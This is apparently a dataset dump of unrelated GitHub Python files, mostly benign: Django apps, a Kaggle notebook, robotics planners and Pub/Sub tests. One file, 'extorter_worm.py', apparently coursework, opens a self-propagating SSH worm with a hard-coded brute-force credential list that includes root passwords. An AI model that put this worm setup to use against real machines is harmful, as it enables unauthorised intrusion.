8cfa28a1b18e8ac19215d87eebf5216525b2160e | 25fa5fdc9f67738332bd6f95a1e4f038cd286890 | /BOJ/단계별로 풀어보기/ch07_문자열/1152_단어의 개수.py | 0e051399bc66d888bae95cbbf9345f6aa8eeb91a | [] | no_license | mandos1995/online_judge | b0cfd56e3391495f22b9832895cddcea70334349 | 9b90bffdcbfb5369e8dd5dafbb07f8e9e7050617 | refs/heads/main | 2023-08-02T19:29:03.716295 | 2021-10-04T15:10:34 | 2021-10-04T15:10:34 | 329,517,747 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 372 | py | '''
문제
영어 대소문자와 띄어쓰기만으로 이루어진 문자열이 주어진다. 이 문자열에는 몇 개의 단어가 있을까?
이를 구하는 프로그램을 작성하시오. 단, 한 단어가 여러 번 등장하면 등장한 횟수만큼 모두 세어야 한다.
'''
# solution
string = list(map(str,input().strip().split()))
print(len(string)) | [
"mandos19950620@gmail.com"
] | mandos19950620@gmail.com |
c64b69bac5a935b40bc07347c82b55a1898aa8ba | 42c935bbeb5ef1f1bd437d966499cf0f713138e1 | /Kaggle-Spring Leaf Marketing Response.py | 002ab08afb785f6f9b0a5cab411d5d15fd77c41a | [] | no_license | praveen766/kaggle_spring_leaf | af306e90052bd91e0344ffe4903b6a3d45b48b18 | 05967fb6464e60e02834b042bc37ad065fba88a8 | refs/heads/master | 2020-05-20T03:23:36.638459 | 2015-09-15T09:12:13 | 2015-09-15T09:13:15 | 42,429,444 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 27,290 | py |
# coding: utf-8
# ## Kaggle-Spring Leaf Marketing Response
# #### source : https://www.kaggle.com/c/springleaf-marketing-response
# In[1]:
# importing libraries
import numpy as np
import pandas as pd
import os as os
import datetime as dt
import calendar as cal
from __future__ import division ### to make sure tha... | [
"praveen766@gmail.com"
] | praveen766@gmail.com |
330768a589d502fc25945820eb1df32f1ce7a219 | ac7fa4fa4748d45dfc627dbe7cc7369045f46fe9 | /core/migrations/0001_initial.py | ac9435540eabb5cac104662c7a7ab090a92b525f | [] | no_license | boylee-17/ds-likelion-HERspital | f79176278f5be0796fdc86092d12b94155151d0f | bc9e9273b71dc93bd11a0dca2521d5d0162483d6 | refs/heads/master | 2023-07-09T12:23:30.056836 | 2021-08-12T00:53:31 | 2021-08-12T00:53:31 | 392,695,440 | 0 | 0 | null | 2021-08-11T06:22:34 | 2021-08-04T13:17:52 | HTML | UTF-8 | Python | false | false | 952 | py | # Generated by Django 3.2.6 on 2021-08-11 05:48
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
ope... | [
"whereru511@gmail.com"
] | whereru511@gmail.com |
14c589b2813b60123a9589cc4e0aeaf1a51df116 | dc88fa8914c678f0372cfed828e4b9622dae92e8 | /stepper_param_RPI.py | b4349050cd321c133b49ff8034646ae120df8d18 | [] | no_license | BruttherJOE/30.007 | 7d89b812c13c639ff18645559206756a301306bd | a51dbec4f11751f4dfce660db50805b868f0f785 | refs/heads/main | 2023-04-14T13:16:18.621123 | 2021-05-04T13:09:11 | 2021-05-04T13:09:11 | 347,029,486 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,316 | py | import RPi.GPIO as GPIO
import time
enaPin = 16
dirPin = 20
pulPin = 21
GPIO.setmode(GPIO.BCM)
GPIO.setup(enaPin, GPIO.OUT)
GPIO.setup(dirPin, GPIO.OUT)
GPIO.setup(pulPin, GPIO.OUT)
PULSE_PER_REV = 200
def step(totalPulseTime): #in terms of seconds
GPIO.output(pulPin,GPIO.HIGH)
time.sleep(totalPulseTime/2)
... | [
"noreply@github.com"
] | noreply@github.com |
9040402abc555921137b96e21d59ea69a4a65b3f | ebbc32882b1bbb6e6935695a400e8ffd8c0fb7f6 | /ROAR/planning_module/mission_planner/waypoint_following_mission_planner.py | 81d8b4b89955d40a27fae6e422993f7a437d1132 | [
"Apache-2.0"
] | permissive | augcog/ROAR | 25fc3555934854871883de84bae49d84f86fbd7b | b7cd322f451ceccf5c53b331e15f5025f2e63bac | refs/heads/main | 2023-08-31T16:51:00.857463 | 2023-08-12T00:08:06 | 2023-08-12T00:08:06 | 302,450,761 | 29 | 222 | Apache-2.0 | 2023-08-26T07:04:26 | 2020-10-08T20:10:20 | Jupyter Notebook | UTF-8 | Python | false | false | 4,333 | py | from ROAR.planning_module.mission_planner.mission_planner import (
MissionPlanner,
)
from pathlib import Path
import logging
from typing import List, Optional
from ROAR.utilities_module.data_structures_models import Transform, Location, Rotation
from collections import deque
from ROAR.agent_module.agent import Agen... | [
"wuxiaohua1011@berkeley.edu"
] | wuxiaohua1011@berkeley.edu |
3571215df13d920412f8c5912d86fde82b88a82e | fe4b49f22cd851ee4f7639bef720d774fbfb1248 | /src/comments/models.py | cc5f4cbe71dfee3814480f8a9c14549170dde5f7 | [] | no_license | tyagow/servicos-paraguai | b2c20a48651e7e046f4e86b0e94f026589dbc545 | a71078174a175f86f2a4f49fcaf26b8f91ea778d | refs/heads/master | 2020-12-24T05:39:57.243158 | 2017-05-23T14:14:28 | 2017-05-23T14:14:28 | 73,492,227 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 962 | py | from django.contrib.contenttypes.fields import GenericForeignKey
from django.contrib.contenttypes.models import ContentType
from django.db import models
class CommentManager(models.Manager):
def filter_by_instance(self, instance):
content_type = ContentType.objects.get_for_model(instance.__class__)
... | [
"tyagow@hotmail.com.br"
] | tyagow@hotmail.com.br |
9dc68b28373c62e8f7f519d0483c4dff0d17a95e | 8301cb4c4b5e96862119db1f1398b3c11b7097bc | /Administrativo/migrations/0016_auto_20150424_0007.py | d4e63b37fba6b5c1135bba954ce3a8a455c5663e | [] | no_license | eliomarsantana/SRLab | 2f8d71f1477b913e0e732414ec7177cfcdb240dd | 28190e523b0d33d74051c58bd357089a57298ca9 | refs/heads/master | 2016-09-05T18:30:22.557815 | 2015-04-27T19:28:38 | 2015-04-27T19:28:38 | 32,562,436 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 441 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('Administrativo', '0015_auto_20150424_0005'),
]
operations = [
migrations.AlterField(
model_name='reserva',
... | [
"felipe.pereira.coelho@gmail.com"
] | felipe.pereira.coelho@gmail.com |
759aaf89db650f1e77a3acd7cb766e2590987db5 | c6434fb8d951eb0731dec3ae3bd8163f01733ac1 | /PicMean.py | 9913844f4457cf7edbb9039b6a217dea02aa256d | [] | no_license | guochen005X/Toolcode | aee38bd52e4adf361ad295fc7760190fc197d0b0 | 1747aaed83b818470139b8538449ea4581e22de1 | refs/heads/master | 2022-06-08T15:48:26.327322 | 2020-05-07T06:18:21 | 2020-05-07T06:18:21 | 257,538,431 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,610 | py | import cv2
import numpy as np
import os
import os.path as osp
def computeAllPicMean(picPaths,size,reshape = True):
'''
:param picPaths: 图片路径,以列表的形式
:param size: 图片如果需要缩放,size为缩放的尺寸
:return:三通道的均值,列表的形式
'''
channel0 = 0.0
channel1 = 0.0
channel2 = 0.0
# cv2.namedWindow(... | [
"15623892696@163.com"
] | 15623892696@163.com |
479a24ebea460d630afb100cbe446f2b98ea29c5 | 49819aef1336ddb8511e6dec53311777c0b41a7e | /apps/authentication/middleware.py | b2dd6834f09fcecbc03130d84405085fa4a502c7 | [] | no_license | devmaster54/pslam | d91f80340a89820ee596068f13fe6a628a93aab6 | e81316677a1db24bbedce70bf59f85d30583742d | refs/heads/master | 2022-12-24T15:20:39.219597 | 2020-10-02T15:46:20 | 2020-10-02T15:46:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 211 | py | import re
from psalm import settings
from django.contrib.auth.decorators import login_required
class AuthVerificationMiddleware(object):
def process_exception(self, request, exception):
return None | [
"soft.expert32@gmail.com"
] | soft.expert32@gmail.com |
b0a4d0f17558cbe4b82cc607cb5c64a7b2238ed4 | ae381913c23385f004b82161624097645ba8c4c8 | /Xianyang_modwt/projects/ensemble_models.py | 505bd0dc6a0bcac8eb2a2a3565d5e738a7deca6b | [
"MIT"
] | permissive | zjy8006/MonthlyRunoffForecastByAutoReg | aa37910fdc66276d0df9d30af6885209d4a4ebfc | 661fcb5dcdfbbb2ec6861e1668a035b50e69f7c2 | refs/heads/master | 2020-12-12T05:25:48.768993 | 2020-08-20T07:21:12 | 2020-08-20T07:21:12 | 259,588,564 | 7 | 3 | null | null | null | null | UTF-8 | Python | false | false | 1,102 | py | import matplotlib.pyplot as plt
import os
root_path = os.path.dirname(os.path.abspath('__file__'))
import sys
sys.path.append(root_path)
from tools.ensembler import ensemble
from Xianyang_modwt.projects.variables import variables
# Set the project parameters
ORIGINAL = 'XianyangRunoff1951-2018(1953-2018).xlsx'
STATION... | [
"zuojianyi@outlook.com"
] | zuojianyi@outlook.com |
f024ccaadc2065d52a7c473fe13a3620d3f75af1 | 6d913683be43f459b6e29dd84f09c05234efeb4d | /single_cell_differentiation_cuomo_data/merge_parallelized_covariate_modulated_eqtls.py | 3cea2a67cb603b0c7c42cf93e49bc86f36b4b564 | [] | no_license | BennyStrobes/eqtl_factorization | 4f94d8e2e00cf1830fd008f3264d1f9c57f6b2a0 | e555485e40e44c51e86f67761e5200b370673910 | refs/heads/master | 2021-06-20T15:54:34.906395 | 2021-04-05T14:11:46 | 2021-04-05T14:11:46 | 198,705,414 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,186 | py | import numpy as np
import os
import sys
import pdb
def bf_fdr_multiple_testing_correction(variant_gene_pairs_eqtl_results_file, multple_testing_correction_results_file, fdr_thresh):
f = open(variant_gene_pairs_eqtl_results_file)
t = open(multple_testing_correction_results_file, 'w')
head_count = 0
genes = {}
for... | [
"bstrobe1@jhu.edu"
] | bstrobe1@jhu.edu |
58311ca5ca1d5dc0ba53fb9468110ae353018a78 | 3acfe3be546511fcea74f196b300be7646175eab | /shoes_site/migrations/0001_initial.py | 0f8bbe78c96120788413e5ae26111c8fbaaeb051 | [] | no_license | bongham/jangpanzi | 54fb8a8e9704a1f79fdc1dccf5dd4b72411dc9d2 | 6aa3d5716de483852fe65e11d7dd8cd8f2193a02 | refs/heads/master | 2022-11-28T18:27:31.048985 | 2020-08-11T08:15:31 | 2020-08-11T08:15:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,995 | py | # Generated by Django 2.2.4 on 2019-11-14 08:32
from django.conf import settings
import django.contrib.auth.models
import django.contrib.auth.validators
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
... | [
"dandihara@gmail.com"
] | dandihara@gmail.com |
fa9a10bcf85c52de2f3911a52c4ef80c3dd75777 | 0a2a30c21259aefcfa8a29743d5524ebb402f8ff | /extorter_worm.py | 2bfe5cf66f1ba6c3b9663cfaafae952e6f8ee63a | [] | no_license | ryanwillyams/CPSC456 | b0e34a3e91b6c9dff6b1492567f6168e7e476b96 | 00c9f060383ba7979e1f2c1ce20fe90b783b86d4 | refs/heads/master | 2023-03-16T19:55:22.924199 | 2015-10-23T04:47:58 | 2015-10-23T04:47:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,341 | py | import paramiko
import sys
import socket
import netifaces
import nmap
import netinfo
import os
import sys
from subprocess import call
import tarfile
import shutil
# The list of credentials to attempt
credList = [
('hello', 'world'),
('hello1', 'world'),
('root', '#Gig#'),
('cpsc', 'cpsc'),
]
# The file marking whethe... | [
"nat1130@csu.fullerton.edu"
] | nat1130@csu.fullerton.edu |
0fcffa457b3f5ab7884a4278d98d7eba53ae646d | 6ec6c5ff38ecd0cffa565416df6915e811764dd3 | /Prediction_logistic_regression.py | d2f005d26d79e7577cd9b7cf96c2e8499c28f846 | [] | no_license | nitingullah/Breast-cancer-analysis | 6610f9fc4b55af3a89a41d133132a473e4de9822 | 0a30c2acb53b857ea33744944c5a7af6266c4da3 | refs/heads/master | 2022-11-15T10:07:23.832740 | 2020-07-08T23:06:55 | 2020-07-08T23:06:55 | 272,981,674 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,960 | py | #!/usr/bin/env python
# coding: utf-8
# In[78]:
import numpy as np # linear algebra
import seaborn as sns
from ggplot import *
import pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)
import matplotlib.pyplot as plt
from sklearn.model_selection import train_test_split
from sklearn.linear_model import L... | [
"noreply@github.com"
] | noreply@github.com |
ec796131c520006a02a36d2f2eeac7e75476748d | d1eaae83160e0aeacc801c57ab54f3ca2f3a23d5 | /第八章:类与对象/8.17.py | 4f4785abb3c952b79041d441afe658cc20ca8399 | [
"Apache-2.0"
] | permissive | liaogx/python3-cookbook | 23968642e1d47bb09b7a1aea13e5fde7589cda0d | fcbc4e3125a62ab8a21cb44dd0bb8ee060b68e5e | refs/heads/master | 2021-07-10T18:29:12.692462 | 2020-07-27T15:10:48 | 2020-07-27T15:10:48 | 180,813,209 | 40 | 19 | null | null | null | null | UTF-8 | Python | false | false | 486 | py | #!/usr/bin/env python
# -*- coding:utf-8 -*-
# __author__ = 'liao gao xiang'
# 创建不调用__init__方法的实例
from time import localtime
class Date(object):
""""""
def __init__(self, year, month, day):
self.year = year
self.month = month
self.day = day
@classmethod
def today(cls):
... | [
"liaogx@liaogx.com"
] | liaogx@liaogx.com |
413964d8db5f837d9a2fcccc1c82691fa2aa021b | f89aa6939671c185e822b7cb20ad282e14c32f38 | /video/urls.py | 101e93b8485e6e93b101b67da06727bdba375741 | [] | no_license | Sargazi77/Video_collector_lab12 | 7a42d998a00cc1fb4ff9a86314690192f5400aa3 | bc1ecc4cb3c400a0b8910ee171f49700a1e85f30 | refs/heads/master | 2023-04-21T00:57:29.370669 | 2021-05-11T01:54:44 | 2021-05-11T01:54:44 | 366,225,600 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 747 | py | """video URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based v... | [
"Email"
] | Email |
48411483bdb3ff824e712ee68df7d41b27ac97b1 | 9be21ce4528f9cf19bb79eeae49ab66fd12db67a | /a3/a3/parser_transitions.py | 02304445319197c06760518c01efcaaccc3b889f | [] | no_license | yussaaa/CS224n | d1f446483e66bbdac15c25b5f2fb7f9b60d59045 | bf96a7486aae391916bd5b108db0fb1cf0dee056 | refs/heads/master | 2022-12-22T03:20:55.146989 | 2020-09-06T15:48:20 | 2020-09-06T15:48:20 | 271,878,587 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,679 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CS224N 2018-19: Homework 3
parser_transitions.py: Algorithms for completing partial parsess.
Sahil Chopra <schopra8@stanford.edu>
"""
import sys
class PartialParse(object):
def __init__(self, sentence):
"""Initializes this partial parse.
@param s... | [
"yusa.li@mail.utoronto.ca"
] | yusa.li@mail.utoronto.ca |
a990986a1032fac78aa21d3f9bad405f040467d7 | 337597da175e9188ebabde16909bca5f5ca271e5 | /remoteworkproject/devforlessapp/forms.py | 782d7954db56795f3ff0d9a6694ce581fae77829 | [] | no_license | louiseyoma/devforless | 2b4ee84888cee0afa0f4f3652fefd8a9b47c7ebb | a15ae5bae9a4d4d367e019884dd35522aee95f85 | refs/heads/master | 2021-05-10T20:21:34.501672 | 2018-01-19T22:36:29 | 2018-01-19T22:36:29 | 118,184,837 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,219 | py | from django import forms
from django.forms import ModelForm
from .models import JobPost
from django.contrib.auth.forms import UserCreationForm
from django.contrib.auth.models import User
from django.core.exceptions import ValidationError
class FormForLogin(forms.Form):
email = forms.EmailField(label='Email Address', ... | [
"louiseyoma@yahoo.com"
] | louiseyoma@yahoo.com |
3d522fc5eb54ef2e47e6a569e0ad572dc5690bf3 | 6c9d41994937733dc84e54359f5789ac945724a2 | /echo.py | 863cb8941b7dd620f6dacb81c28f14c916781f13 | [
"MIT"
] | permissive | cider-load-test/pygadu | 2268f38b4612cb32236c687ef355c6dc1d4cae33 | d4c1b25908ae6facd89d3509ea8bc2ec6b4eb11c | refs/heads/master | 2021-12-02T06:28:02.877479 | 2008-11-30T13:01:41 | 2008-11-30T13:01:41 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,196 | py | import time
from pygadu.session import PyGadu
from pygadu.util import query_hub
class Echo(PyGadu):
def __init__(self):
super(Echo, self).__init__()
def onWelcome(self, packet):
print repr(packet)
print "Welcome!"
def onLoginOk(self, packet):
print repr(packet)
... | [
"devnull@localhost"
] | devnull@localhost |
7a5dcf48ff36cbc9f82e9329b3f7faec2ce88438 | 8eafb73fdab3e422aa717bac9af338dcba5e3c1e | /bbp/tests/test_gp_gof.py | bfb3309cb2b062ef6e9a0ed863563eb5f5da02ec | [
"Apache-2.0",
"LicenseRef-scancode-warranty-disclaimer"
] | permissive | LevyForchh/bbp | 6dae4ce3577a73f5cef9b9b5507753a1381ec870 | 3cc389fb956ea14ef827af0f437ce37e8291afac | refs/heads/master | 2020-06-03T05:10:35.751009 | 2019-06-11T21:38:18 | 2019-06-11T21:38:18 | 191,453,945 | 0 | 0 | null | 2019-06-11T21:38:16 | 2019-06-11T21:38:15 | null | UTF-8 | Python | false | false | 7,314 | py | #! /usr/bin/env python
"""
Copyright 2010-2019 University Of Southern California
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by appl... | [
"fsilva@usc.edu"
] | fsilva@usc.edu |
8719cc7f7757f07243f18ba716001c8c590540ed | eb9c3dac0dca0ecd184df14b1fda62e61cc8c7d7 | /google/pubsub/v1/pubsub-v1-py/tests/unit/gapic/pubsub_v1/test_subscriber.py | 08b27b5656d703dec02cc1054278b8afbf5d2c31 | [
"Apache-2.0"
] | permissive | Tryweirder/googleapis-gen | 2e5daf46574c3af3d448f1177eaebe809100c346 | 45d8e9377379f9d1d4e166e80415a8c1737f284d | refs/heads/master | 2023-04-05T06:30:04.726589 | 2021-04-13T23:35:20 | 2021-04-13T23:35:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 185,102 | py | # -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | [
"bazel-bot-development[bot]@users.noreply.github.com"
] | bazel-bot-development[bot]@users.noreply.github.com |
bb203d661d7d19b2bad7f2e44ea9aa0dda7afdb4 | dfb88d5b9233a3e48c3702b04524ecf2aeac33ca | /instagram/posts/migrations/0003_auto_20210119_0159.py | b9c9595a956912699c3e118673f5b737083a7a44 | [
"MIT"
] | permissive | developer-LeeSteve/django_instagram_clonecoding | 390b69c0e225e437ee2a5cdccb6d88ea9590de13 | efad44cb6bda89b935bf203e66cdc6b69a3caa6a | refs/heads/main | 2023-02-11T20:57:50.268792 | 2021-01-18T18:22:10 | 2021-01-18T18:22:10 | 318,221,797 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 419 | py | # Generated by Django 3.1.4 on 2021-01-18 16:59
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('posts', '0002_post_nickname'),
]
operations = [
migrations.AlterField(
model_name='post',
name='thumb',
... | [
"alexxlee66@gmail.com"
] | alexxlee66@gmail.com |
68c366cf3fe05227f6edc4c1f969590059582f5e | e3fd35a8443aaf2f293ae03a5f6c819046a4dd21 | /leetcode-java/leetcode.py | 9eecc06a263da457fb4f2cbe087d8d5b6c42ee2f | [] | no_license | hieutran106/leetcode-ht | 2223ea6bcd459c2cdbc33344c0ff69df7f8a3c7f | 8332eb20e613f82cda2e326218154c7803a32403 | refs/heads/main | 2023-08-09T02:52:41.360360 | 2023-07-27T10:12:28 | 2023-07-27T10:12:28 | 234,890,448 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 971 | py | import sys
import os
if __name__ == "__main__":
difficulty = sys.argv[1]
problem = sys.argv[2]
cwd = os.getcwd()
path = os.path.join(cwd, "src", "test", "java", difficulty, problem)
# early exit
if os.path.exists(path):
print("Solution existed. Exit ...")
sys.exit()
print... | [
"hieutran106@gmail.com"
] | hieutran106@gmail.com |
849fb7177937e4797d8a222132356df41b9a4355 | 36c445b09b28ea3802ac9f72f2c12642e0ca8365 | /createtemplate01.py | 0defffa026161efe2a33ce9954aa6e3c8f9edab1 | [] | no_license | tmurray19/video-render-service | 93daec8ea945aada753e55ba81637eb19ec1bc98 | 36f77cea475df6bf62610f7a9d92fc1463b96ba7 | refs/heads/master | 2020-06-27T20:06:39.602925 | 2019-11-05T14:18:59 | 2019-11-05T14:18:59 | 200,037,263 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,342 | py | import os
import shutil
# logging and debugging
import logging
from pprint import pprint
# required for image manipulation and video creation
from PIL import Image, ImageDraw, ImageFont
# required for MoviePy Stuff
import glob
from natsort import natsorted
from moviepy.editor import *
from moviepy.video.tools.drawi... | [
"me@taidghmurray.ie"
] | me@taidghmurray.ie |
23bcc04dce1cf3f65b676c3f88d4332d9608052a | 4e9edbd9215862cb2b6735360d093ac47cc0fda3 | /Python_workspace/Section05/Section5-1/section5-1-1.py | 71bca9f71e2864846bacc4bb08be9810479542ec | [] | no_license | ytakasugi/workspace | 8ee7df69bcbac19ee055adfe4cffd140779272c1 | a1467cf16cb4221260baa339476424cf3afbe25d | refs/heads/master | 2023-04-06T02:59:05.514012 | 2021-05-05T07:50:53 | 2021-05-05T07:50:53 | 309,698,682 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 44 | py | v = 3
if v<0 :
v = 0
v = v * 2
print(v) | [
"sh7.tibi0129@gmail.com"
] | sh7.tibi0129@gmail.com |
a1cd398d7b6214b6e5257418b53a6c5a7dd1cda6 | 1815c403d1e57bdbce37cc47e9e71a88c91b0e3a | /VMTK/volume_extraction.py | 5d2f5238c40f32210102440df46199583680e18b | [] | no_license | Chen41284/Python | f4c8d7e7501350cca83fe006b680f387b7c959f3 | 69ddc66c607d9d611f449fa8cdf2c0892e399675 | refs/heads/master | 2022-05-26T20:19:09.811370 | 2022-05-04T16:27:27 | 2022-05-04T16:27:27 | 211,828,277 | 5 | 1 | null | null | null | null | UTF-8 | Python | false | false | 358 | py | # VMTK读取图像
from vmtk import pypes
from vmtk import vmtkscripts
# DICOM图像序列的截取
DicomExtration = 'vmtkimagereader -ifile \"C:/Users/chenjiaxing/Desktop/Python/DICOM/0.dcm\" --pipe \
vmtkimagevoiselector -ofile \"C:/Users/chenjiaxing/Desktop/Python/DICOM/image_volume_voi.vti\" '
myPype = pypes.PypeRun... | [
"chen6281@foxmail.com"
] | chen6281@foxmail.com |
a646fe8b51bfb2f4ba13f712cc6e7c0aea76e481 | f409c7b1f0955037c22cbcd4e4785d2ec88341e5 | /psych/psych/api/views/view.py | 280a7580ad1eb56d6d5b810ad680b1f6495f1cd2 | [
"Apache-2.0"
] | permissive | rruss/WebProject | 223ad58da91b9982ad5d07b6f89136b851a43b3a | cd8ab2f217d6a1fd982d78bb06207dc4ae7cb1b9 | refs/heads/master | 2022-11-18T13:53:35.374954 | 2020-07-18T07:17:41 | 2020-07-18T07:17:41 | 196,200,942 | 1 | 0 | Apache-2.0 | 2020-07-18T07:17:43 | 2019-07-10T12:26:13 | Python | UTF-8 | Python | false | false | 5,064 | py | from django.http import JsonResponse, Http404
import json
from rest_framework import generics, status
from rest_framework import mixins
from rest_framework.response import Response
from rest_framework.views import APIView
from rest_framework.decorators import api_view
from rest_framework.permissions import IsAuthentica... | [
"sarybayevrruss1@gmail.com"
] | sarybayevrruss1@gmail.com |
6c47ab04a5e0e1cc109676fdd703058c1e37fd63 | 22dd4093a739bc8c1dd9fd51f38d077e77cf603b | /update.py | c46e1ee0dc5cd7c09a974ae658df5a902f3b217a | [] | no_license | dossec/dnsupdate | 16b342a1268d870e1fe7e4c9149d414b691fd758 | 575cf3850bbc883815a8b188246492bf75558686 | refs/heads/master | 2021-01-18T05:32:00.265556 | 2014-10-08T16:49:20 | 2014-10-08T16:49:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 838 | py | import socket
import string
import fileinput
import os
def getNetworkIp():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('www.gmail.com', 0))
return s.getsockname()[0]
def updateIP(IP):
fout = open("output.dat", "w")
for line in fileinput.input("script.txt"):
#print ... | [
"richliu@techarea.org"
] | richliu@techarea.org |
f102adefa4347ff2438caea310576abfc8cc8e52 | 27e890f900bd4bfb2e66f4eab85bc381cf4d5d3f | /tests/unit/modules/network/iosxr/test_iosxr_netconf.py | fbb7819e173700b0821c2a564cbc459b04350fe6 | [] | no_license | coll-test/notstdlib.moveitallout | eb33a560070bbded5032385d0aea2f3cf60e690b | 0987f099b783c6cf977db9233e1c3d9efcbcb3c7 | refs/heads/master | 2020-12-19T22:28:33.369557 | 2020-01-23T18:51:26 | 2020-01-23T18:51:26 | 235,865,139 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,632 | py | # (c) 2017 Red Hat Inc.
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is dis... | [
"wk@sydorenko.org.ua"
] | wk@sydorenko.org.ua |
b55110e630e67fe860d2037fa0094925bbf45e28 | 64a8dcfa0a98c665b8b2ac796ed7231135977d9a | /fluent_contents/plugins/googledocsviewer/content_plugins.py | cf330dfc9bf3f2783a245dbbb6a29a3f46c583a2 | [
"Apache-2.0"
] | permissive | jpotterm/django-fluent-contents | 8bc70c9f0309bfeeb3c1e7a96c0687c7070e48ed | e617815874c936af1e00a8bfb79a4c8fc9a40cbb | refs/heads/master | 2021-01-18T06:56:15.737257 | 2015-09-09T15:40:43 | 2015-09-09T15:40:43 | 30,092,032 | 0 | 0 | null | 2015-01-30T21:42:42 | 2015-01-30T21:42:42 | null | UTF-8 | Python | false | false | 1,174 | py | """
Google apps widgets for your site.
"""
from django.utils.html import escape
from django.utils.http import urlquote
from django.utils.safestring import mark_safe
from django.utils.translation import ugettext_lazy as _
from fluent_contents.extensions import ContentPlugin, plugin_pool
from fluent_contents.plugins.goog... | [
"vdboor@edoburu.nl"
] | vdboor@edoburu.nl |
5b97d4f8ec62435ed4fbf0c576b6c187a21f98dc | 5ca68222c31a077e4e36664d1976f886710a54fd | /weight_drop.py | d87ad2ed19764b5c02237d6dadf38e6cf34d9fc1 | [] | no_license | fomhko/FX_forecast | a6c385e565c7ee1ddef6ae7d735c375694efa151 | e7e546e11d38aac00c68bb74adfaceba929fd3fa | refs/heads/master | 2020-03-26T08:01:41.427504 | 2018-08-14T07:37:30 | 2018-08-14T07:37:30 | 144,682,814 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,349 | py | import torch
from torch.nn import Parameter
from functools import wraps
class WeightDrop(torch.nn.Module):
def __init__(self, module, weights, dropout=0, variational=False):
super(WeightDrop, self).__init__()
self.module = module
self.weights = weights
self.dropout = dropout
... | [
"dingji97@outlook.com"
] | dingji97@outlook.com |
018cd569395d6b5d00279ab89c2457b5a889feac | 85911530a61531bad207233e14b306d42695b0d6 | /projects/data-visualization/chapter-15/automatic_labels.py | c129d4028ae6a795d5456d58aece8c48eb68a622 | [] | no_license | cgoeke/python-crash-course | 489041db671d882e885a777c3f84c114b540809a | 4d115247004e6904873befe28f9dd1a99f20718c | refs/heads/master | 2020-03-25T16:50:03.312031 | 2018-09-02T01:10:12 | 2018-09-02T01:10:12 | 143,939,769 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 326 | py | # 15-6. Automatic Labels: Modify die.py and dice_visual.py by replacing the list
# we used to set the value of hist.x_labels with a loop to generate this list automatically.
# If you’re comfortable with list comprehensions, try replacing the other
# for loops in die_visual.py and dice_visual.py with comprehensions as w... | [
"christianpgoeke@gmail.com"
] | christianpgoeke@gmail.com |
21df715483d4461c101e7b8501691258ca4d040d | 4ae34a5179d7adf1037eb9a3cb249f9a5c06684e | /examples/v1beta1/trial-images/darts-cnn-cifar10/model.py | dea7d43f84c6d761b0697b84b5ffd2adc18d9249 | [
"Apache-2.0"
] | permissive | kubeflow/katib | 367373c0452d49a7a115b86893f4dab9e1f278ea | e3e0aa24aeea1edfab0fd42f55392af651d2b3ae | refs/heads/master | 2023-09-04T05:02:05.752156 | 2023-08-24T22:40:54 | 2023-08-24T22:40:54 | 127,941,481 | 1,385 | 422 | Apache-2.0 | 2023-09-14T13:17:29 | 2018-04-03T17:07:12 | Go | UTF-8 | Python | false | false | 7,044 | py | # Copyright 2022 The Kubeflow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... | [
"noreply@github.com"
] | noreply@github.com |
